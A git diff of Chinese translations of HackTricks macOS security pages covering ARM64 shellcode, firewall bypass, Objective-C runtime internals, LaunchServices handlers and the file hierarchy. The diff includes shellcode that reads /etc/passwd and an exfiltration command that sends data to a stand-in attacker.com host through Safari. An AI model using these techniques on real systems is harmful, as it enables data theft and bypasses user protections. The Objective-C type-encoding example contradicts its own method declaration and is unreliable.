-目标是执行`execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`,因此第二个参数(x1)是一个参数数组(在内存中意味着地址的堆栈)。
+目标是执行 `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`,因此第二个参数 (x1) 是一个参数数组 (在内存中意味着地址的堆栈)。
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
@@ -562,7 +584,7 @@ cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
```
-#### 通过从 fork 中调用 sh 命令来执行命令,以便主进程不被杀死
+#### 通过从 fork 中使用 sh 调用命令,使主进程不被杀死
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
@@ -759,16 +781,17 @@ mov x2, xzr
mov x16, #59
svc #0x1337
```
+{% hint style="success" %}
+学习并练习 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习 GCP 黑客技术: [**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术 htARTE(HackTricks AWS红队专家)!
+支持 HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
+{% endhint %}
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md
new file mode 100644
index 000000000..20aca4353
--- /dev/null
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md
@@ -0,0 +1,160 @@
+# 内存中的对象
+
+{% hint style="success" %}
+学习并练习 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+支持 HackTricks
+
+* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
+
+
+{% endhint %}
+
+## CFRuntimeClass
+
+CF\* 对象来自 CoreFoundation,提供了 50 多个类的对象,如 `CFString`、`CFNumber` 或 `CFAllocatior`。
+
+所有这些类都是 `CFRuntimeClass` 类的实例,当调用时,它会返回到 `__CFRuntimeClassTable` 的索引。CFRuntimeClass 在 [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html) 中定义:
+```objectivec
+// Some comments were added to the original code
+
+enum { // Version field constants
+_kCFRuntimeScannedObject = (1UL << 0),
+_kCFRuntimeResourcefulObject = (1UL << 2), // tells CFRuntime to make use of the reclaim field
+_kCFRuntimeCustomRefCount = (1UL << 3), // tells CFRuntime to make use of the refcount field
+_kCFRuntimeRequiresAlignment = (1UL << 4), // tells CFRuntime to make use of the requiredAlignment field
+};
+
+typedef struct __CFRuntimeClass {
+CFIndex version; // This is made a bitwise OR with the relevant previous flags
+
+const char *className; // must be a pure ASCII string, nul-terminated
+void (*init)(CFTypeRef cf); // Initializer function
+CFTypeRef (*copy)(CFAllocatorRef allocator, CFTypeRef cf); // Copy function, taking CFAllocatorRef and CFTypeRef to copy
+void (*finalize)(CFTypeRef cf); // Finalizer function
+Boolean (*equal)(CFTypeRef cf1, CFTypeRef cf2); // Function to be called by CFEqual()
+CFHashCode (*hash)(CFTypeRef cf); // Function to be called by CFHash()
+CFStringRef (*copyFormattingDesc)(CFTypeRef cf, CFDictionaryRef formatOptions); // Provides a CFStringRef with a textual description of the object// return str with retain
+CFStringRef (*copyDebugDesc)(CFTypeRef cf); // CFStringRed with textual description of the object for CFCopyDescription
+
+#define CF_RECLAIM_AVAILABLE 1
+void (*reclaim)(CFTypeRef cf); // Or in _kCFRuntimeResourcefulObject in the .version to indicate this field should be used
+// It not null, it's called when the last reference to the object is released
+
+#define CF_REFCOUNT_AVAILABLE 1
+// If not null, the following is called when incrementing or decrementing reference count
+uint32_t (*refcount)(intptr_t op, CFTypeRef cf); // Or in _kCFRuntimeCustomRefCount in the .version to indicate this field should be used
+// this field must be non-NULL when _kCFRuntimeCustomRefCount is in the .version field
+// - if the callback is passed 1 in 'op' it should increment the 'cf's reference count and return 0
+// - if the callback is passed 0 in 'op' it should return the 'cf's reference count, up to 32 bits
+// - if the callback is passed -1 in 'op' it should decrement the 'cf's reference count; if it is now zero, 'cf' should be cleaned up and deallocated (the finalize callback above will NOT be called unless the process is running under GC, and CF does not deallocate the memory for you; if running under GC, finalize should do the object tear-down and free the object memory); then return 0
+// remember to use saturation arithmetic logic and stop incrementing and decrementing when the ref count hits UINT32_MAX, or you will have a security bug
+// remember that reference count incrementing/decrementing must be done thread-safely/atomically
+// objects should be created/initialized with a custom ref-count of 1 by the class creation functions
+// do not attempt to use any bits within the CFRuntimeBase for your reference count; store that in some additional field in your CF object
+
+#pragma GCC diagnostic push
+#pragma GCC diagnostic ignored "-Wmissing-field-initializers"
+#define CF_REQUIRED_ALIGNMENT_AVAILABLE 1
+// If not 0, allocation of object must be on this boundary
+uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .version field to indicate this field should be used; the allocator to _CFRuntimeCreateInstance() will be ignored in this case; if this is less than the minimum alignment the system supports, you'll get higher alignment; if this is not an alignment the system supports (e.g., most systems will only support powers of two, or if it is too high), the result (consequences) will be up to CF or the system to decide
+
+} CFRuntimeClass;
+```
+## Objective-C
+
+### 使用的内存部分
+
+ObjectiveC运行时使用的大部分数据在执行过程中会发生变化,因此它使用内存中**\_\_DATA**段中的一些部分:
+
+- **`__objc_msgrefs`** (`message_ref_t`): 消息引用
+- **`__objc_ivar`** (`ivar`): 实例变量
+- **`__objc_data`** (`...`): 可变数据
+- **`__objc_classrefs`** (`Class`): 类引用
+- **`__objc_superrefs`** (`Class`): 超类引用
+- **`__objc_protorefs`** (`protocol_t *`): 协议引用
+- **`__objc_selrefs`** (`SEL`): 选择器引用
+- **`__objc_const`** (`...`): 类`r/o`数据和其他(希望是)常量数据
+- **`__objc_imageinfo`** (`version, flags`): 在加载图像时使用:当前版本为`0`;标志指定预优化的GC支持等。
+- **`__objc_protolist`** (`protocol_t *`): 协议列表
+- **`__objc_nlcatlist`** (`category_t`): 指向二进制文件中定义的非延迟类别的指针
+- **`__objc_catlist`** (`category_t`): 指向二进制文件中定义的类别的指针
+- **`__objc_nlclslist`** (`classref_t`): 指向二进制文件中定义的非延迟Objective-C类的指针
+- **`__objc_classlist`** (`classref_t`): 指向二进制文件中定义的所有Objective-C类的指针
+
+它还使用**`__TEXT`**段中的一些部分来存储常量值,如果不可能在此部分中写入:
+
+- **`__objc_methname`** (C字符串): 方法名称
+- **`__objc_classname`** (C字符串): 类名称
+- **`__objc_methtype`** (C字符串): 方法类型
+
+### 类型编码
+
+Objective-C使用一些混淆来编码简单和复杂类型的选择器和变量类型:
+
+- 基本类型使用类型的第一个字母,如 `i` 代表 `int`,`c` 代表 `char`,`l` 代表 `long`... 如果是无符号的,则使用大写字母(`L` 代表 `unsigned Long`)。
+- 其他数据类型的字母已被使用或是特殊的,使用其他字母或符号,如 `q` 代表 `long long`,`b` 代表 `位域`,`B` 代表 `布尔值`,`#` 代表 `类`,`@` 代表 `id`,`*` 代表 `char指针`,`^` 代表通用 `指针`,`?` 代表 `未定义`。
+- 数组、结构体和联合使用 `[`, `{` 和 `(`
+
+#### 示例方法声明
+
+{% code overflow="wrap" %}
+```objectivec
+- (NSString *)processString:(id)input withOptions:(char *)options andError:(id)error;
+```
+{% endcode %}
+
+选择器将是 `processString:withOptions:andError:`
+
+#### 类型编码
+
+* `id` 被编码为 `@`
+* `char *` 被编码为 `*`
+
+该方法的完整类型编码为:
+```less
+@24@0:8@16*20^@24
+```
+#### 详细分解
+
+1. **返回类型 (`NSString *`)**: 编码为 `@`,长度为 24
+2. **`self` (对象实例)**: 编码为 `@`,在偏移量 0
+3. **`_cmd` (选择器)**: 编码为 `:`,在偏移量 8
+4. **第一个参数 (`char * input`)**: 编码为 `*`,在偏移量 16
+5. **第二个参数 (`NSDictionary * options`)**: 编码为 `@`,在偏移量 20
+6. **第三个参数 (`NSError ** error`)**: 编码为 `^@`,在偏移量 24
+
+**通过选择器和编码,您可以重构方法。**
+
+### **类**
+
+Objective-C 中的类是一个带有属性、方法指针等的结构体。可以在[**源代码**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html)中找到 `objc_class` 结构体:
+```objectivec
+struct objc_class : objc_object {
+// Class ISA;
+Class superclass;
+cache_t cache; // formerly cache pointer and vtable
+class_data_bits_t bits; // class_rw_t * plus custom rr/alloc flags
+
+class_rw_t *data() {
+return bits.data();
+}
+void setData(class_rw_t *newData) {
+bits.setData(newData);
+}
+
+void setInfo(uint32_t set) {
+assert(isFuture() || isRealized());
+data()->setFlags(set);
+}
+[...]
+```
+这个类使用isa字段的一些位来指示关于类的一些信息。
+
+然后,结构体有一个指向存储在磁盘上的`class_ro_t`结构体的指针,其中包含类的属性,如名称、基本方法、属性和实例变量。\
+在运行时,还会使用一个额外的结构`class_rw_t`,其中包含可以更改的指针,如方法、协议、属性...
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md b/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md
index a3a70342b..50e8d29c9 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md
@@ -1,22 +1,23 @@
# macOS绕过防火墙
+{% hint style="success" %}
+学习并练习AWS黑客技术:[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习GCP黑客技术:[**HackTricks培训GCP红队专家(GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
+支持HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
+{% endhint %}
## 发现的技术
-以下技术在一些macOS防火墙应用中被发现可行。
+以下技术在一些macOS防火墙应用程序中被发现可行。
### 滥用白名单名称
@@ -26,7 +27,7 @@
* 如果防火墙要求用户授权,使恶意软件**点击允许**
-### **使用苹果签名的二进制文件**
+### 使用苹果签名的二进制文件
* 像**`curl`**,还有其他如**`whois`**
@@ -46,7 +47,7 @@ lsof -i TCP -sTCP:ESTABLISHED
```
### 滥用 DNS
-DNS 解析是通过已签名的 **`mdnsreponder`** 应用程序完成的,很可能会被允许与 DNS 服务器联系。
+DNS 解析是通过 **`mdnsreponder`** 签名应用程序完成的,很可能会被允许与 DNS 服务器联系。
@@ -79,7 +80,7 @@ open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
```
### 通过进程注入
-如果您可以将代码**注入到一个允许连接到任何服务器的进程**中,您就可以绕过防火墙的保护:
+如果你能够**将代码注入到一个允许连接到任何服务器的进程中**,那么你可以绕过防火墙的保护:
{% content-ref url="macos-proces-abuse/" %}
[macos-proces-abuse](macos-proces-abuse/)
@@ -89,16 +90,17 @@ open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
* [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)
+{% hint style="success" %}
+学习并练习 AWS 黑客技能:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习 GCP 黑客技能:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术 htARTE(HackTricks AWS红队专家)!
+支持 HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
+* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) **和** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR 来分享黑客技巧。**
+{% endhint %}
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md b/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md
index 6beb10b45..2f355f06f 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md
@@ -1,22 +1,23 @@
# macOS文件扩展名和URL scheme应用程序处理程序
+{% hint style="success" %}
+学习并练习AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
+支持HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
+{% endhint %}
## LaunchServices数据库
-这是macOS中所有已安装应用程序的数据库,可以查询每个已安装应用程序的信息,例如其支持的URL schemes和MIME类型。
+这是macOS中所有已安装应用程序的数据库,可以查询每个已安装应用程序的信息,例如它支持的URL schemes和MIME类型。
可以使用以下命令转储此数据库:
@@ -28,28 +29,26 @@
或者使用工具 [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html)。
-**`/usr/libexec/lsd`** 是数据库的核心。它提供了像 `.lsd.installation`、`.lsd.open`、`.lsd.openurl` 等**多个 XPC 服务**。但是它也**需要一些授权**给应用程序,以便能够使用暴露的 XPC 功能,比如 `.launchservices.changedefaulthandler` 或 `.launchservices.changeurlschemehandler` 来更改 mime 类型或 url schemes 的默认应用程序等。
+**`/usr/libexec/lsd`** 是数据库的核心。它提供了像 `.lsd.installation`、`.lsd.open`、`.lsd.openurl` 等**多个 XPC 服务**。但是它也**需要一些授权**给应用程序才能使用暴露的 XPC 功能,比如 `.launchservices.changedefaulthandler` 或 `.launchservices.changeurlschemehandler` 来更改 mime 类型或 url schemes 的默认应用程序等。
-**`/System/Library/CoreServices/launchservicesd`** 拥有服务 `com.apple.coreservices.launchservicesd`,可以查询有关正在运行的应用程序的信息。可以使用系统工具 /**`usr/bin/lsappinfo`** 或 [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html) 来查询。
+**`/System/Library/CoreServices/launchservicesd`** 声称服务 `com.apple.coreservices.launchservicesd`,可以查询有关正在运行的应用程序的信息。可以使用系统工具 /**`usr/bin/lsappinfo`** 或 [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html) 进行查询。
## 文件扩展名和 URL scheme 应用程序处理程序
-以下行可用于查找可以打开文件的应用程序,具体取决于扩展名:
-
-{% code overflow="wrap" %}
+以下行可用于查找可以根据扩展名打开文件的应用程序:
```bash
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -E "path:|bindings:|name:"
```
{% endcode %}
-或者使用类似 [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps) 的工具:
+或者使用类似 [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps):
```bash
./swda getSchemes #Get all the available schemes
./swda getApps #Get all the apps declared
./swda getUTIs #Get all the UTIs
./swda getHandler --URL ftp #Get ftp handler
```
-您还可以执行以下操作来检查应用程序支持的扩展名:
+您还可以通过以下方式检查应用程序支持的扩展名:
```
cd /Applications/Safari.app/Contents
grep -A3 CFBundleTypeExtensions Info.plist | grep string
@@ -81,16 +80,17 @@ grep -A3 CFBundleTypeExtensions Info.plist | grep string
xbl
svg
```
+{% hint style="success" %}
+学习并练习AWS Hacking:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习GCP Hacking: [**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术 htARTE(HackTricks AWS红队专家)!
+支持 HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **在Twitter上** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们**。
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
+{% endhint %}
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md
index e3b8f0155..b10ad0e59 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md
@@ -1,18 +1,19 @@
-# macOS文件夹、文件和二进制文件 & 内存
+# macOS文件夹、二进制文件和内存
+
+{% hint style="success" %}
+学习并练习AWS Hacking:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习GCP Hacking: [**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
+支持 HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
+{% endhint %}
## 文件层次结构
@@ -21,80 +22,80 @@
* **/cores**:如果存在,用于存储核心转储
* **/dev**:一切都被视为文件,因此您可能会在此处看到存储的硬件设备。
* **/etc**:配置文件
-* **/Library**:可以在此处找到许多与首选项、缓存和日志相关的子目录和文件。根目录和每个用户目录中都存在一个Library文件夹。
-* **/private**:未记录,但许多提到的文件夹都是符号链接到private目录。
+* **/Library**:可以在此处找到许多与首选项、缓存和日志相关的子目录和文件。根目录和每个用户目录中都存在一个 Library 文件夹。
+* **/private**:未记录,但提到的许多文件夹都是符号链接到 private 目录。
* **/sbin**:基本系统二进制文件(与管理相关)
-* **/System**:使OS X运行的文件。您应该在这里主要找到Apple特定的文件(而不是第三方文件)。
-* **/tmp**:文件在3天后被删除(这是指向/private/tmp的软链接)
+* **/System**:使 OS X 运行的文件。您应该在这里主要只找到 Apple 特定的文件(而非第三方文件)。
+* **/tmp**:文件在 3 天后被删除(这是指向 /private/tmp 的软链接)
* **/Users**:用户的主目录。
* **/usr**:配置和系统二进制文件
* **/var**:日志文件
* **/Volumes**:挂载的驱动器将出现在这里。
-* **/.vol**:运行`stat a.txt`,您将获得类似`16777223 7545753 -rw-r--r-- 1 username wheel ...`的内容,其中第一个数字是文件所在卷的ID号,第二个数字是索引节点号。您可以通过/.vol/访问该文件的内容,使用该信息运行`cat /.vol/16777223/7545753`
+* **/.vol**:运行 `stat a.txt`,您将获得类似 `16777223 7545753 -rw-r--r-- 1 username wheel ...` 的内容,其中第一个数字是文件所在卷的 ID 号,第二个数字是索引节点号。您可以通过 /.vol/ 访问此文件的内容,使用该信息运行 `cat /.vol/16777223/7545753`
### 应用程序文件夹
-* **系统应用程序**位于`/System/Applications`
-* **已安装的**应用程序通常安装在`/Applications`或`~/Applications`
-* **应用程序数据**可以在`/Library/Application Support`中找到,用于以root身份运行的应用程序,以及在`~/Library/Application Support`中找到,用于以用户身份运行的应用程序。
-* **需要以root身份运行**的第三方应用程序**守护程序**通常位于`/Library/PrivilegedHelperTools/`
-* **沙箱**应用程序映射到`~/Library/Containers`文件夹。每个应用程序都有一个根据应用程序的捆绑ID(`com.apple.Safari`)命名的文件夹。
-* **内核**位于`/System/Library/Kernels/kernel`
-* **Apple的内核扩展**位于`/System/Library/Extensions`
-* **第三方内核扩展**存储在`/Library/Extensions`
+* **系统应用程序**位于 `/System/Applications`
+* **已安装**应用程序通常安装在 `/Applications` 或 `~/Applications`
+* **应用程序数据**可以在 `/Library/Application Support` 中找到,用于以 root 运行的应用程序,以及在 `~/Library/Application Support` 中找到,用于以用户身份运行的应用程序。
+* **需要以 root 运行**的第三方应用程序 **守护程序**通常位于 `/Library/PrivilegedHelperTools/`
+* **沙箱**应用程序映射到 `~/Library/Containers` 文件夹。每个应用程序都有一个根据应用程序的 bundle ID 命名的文件夹(`com.apple.Safari`)。
+* **内核**位于 `/System/Library/Kernels/kernel`
+* **Apple 的内核扩展**位于 `/System/Library/Extensions`
+* **第三方内核扩展**存储在 `/Library/Extensions`
### 包含敏感信息的文件
-MacOS在几个地方存储诸如密码之类的信息:
+MacOS 在多个位置存储诸如密码之类的信息:
{% content-ref url="macos-sensitive-locations.md" %}
[macos-sensitive-locations.md](macos-sensitive-locations.md)
{% endcontent-ref %}
-### 有漏洞的pkg安装程序
+### 有漏洞的 pkg 安装程序
{% content-ref url="macos-installers-abuse.md" %}
[macos-installers-abuse.md](macos-installers-abuse.md)
{% endcontent-ref %}
-## OS X特定扩展
+## OS X 特定扩展名
* **`.dmg`**:苹果磁盘映像文件在安装程序中非常常见。
-* **`.kext`**:它必须遵循特定结构,是驱动程序的OS X版本(它是一个捆绑包)
-* **`.plist`**:也称为属性列表,以XML或二进制格式存储信息。
-* 可以是XML或二进制。可以使用以下命令读取二进制文件:
+* **`.kext`**:必须遵循特定结构,是驱动程序的 OS X 版本(它是一个捆绑包)。
+* **`.plist`**:也称为属性列表,以 XML 或二进制格式存储信息。
+* 可以是 XML 或二进制。可以使用以下命令读取二进制文件:
* `defaults read config.plist`
* `/usr/libexec/PlistBuddy -c print config.plsit`
* `plutil -p ~/Library/Preferences/com.apple.screensaver.plist`
* `plutil -convert xml1 ~/Library/Preferences/com.apple.screensaver.plist -o -`
* `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -`
* **`.app`**:遵循目录结构的苹果应用程序(它是一个捆绑包)。
-* **`.dylib`**:动态库(类似于Windows的DLL文件)
-* **`.pkg`**:与xar(可扩展存档格式)相同。可以使用installer命令安装这些文件的内容。
-* **`.DS_Store`**:每个目录中都有此文件,它保存目录的属性和自定义。
-* **`.Spotlight-V100`**:此文件夹出现在系统上每个卷的根目录上。
-* **`.metadata_never_index`**:如果此文件位于卷的根目录中,Spotlight将不会索引该卷。
-* **`.noindex`**:具有此扩展名的文件和文件夹不会被Spotlight索引。
-* **`.sdef`**:捆绑包中的文件指定如何从AppleScript与应用程序进行交互。
+* **`.dylib`**:动态库(类似于 Windows 的 DLL 文件)
+* **`.pkg`**:与 xar(eXtensible 存档格式)相同。安装程序命令可用于安装这些文件的内容。
+* **`.DS_Store`**:每个目录中都有此文件,保存目录的属性和自定义。
+* **`.Spotlight-V100`**:此文件夹出现在系统上每个卷的根目录中。
+* **`.metadata_never_index`**:如果此文件位于卷的根目录中,Spotlight 将不会索引该卷。
